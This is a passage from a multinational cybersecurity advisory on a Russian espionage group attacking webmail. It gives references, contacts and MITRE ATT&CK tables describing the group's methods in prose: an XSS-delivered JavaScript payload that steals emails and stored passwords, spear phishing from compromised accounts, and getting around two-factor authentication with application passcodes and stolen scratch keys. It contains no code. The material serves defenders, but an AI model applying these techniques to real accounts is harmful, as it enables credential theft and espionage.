<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
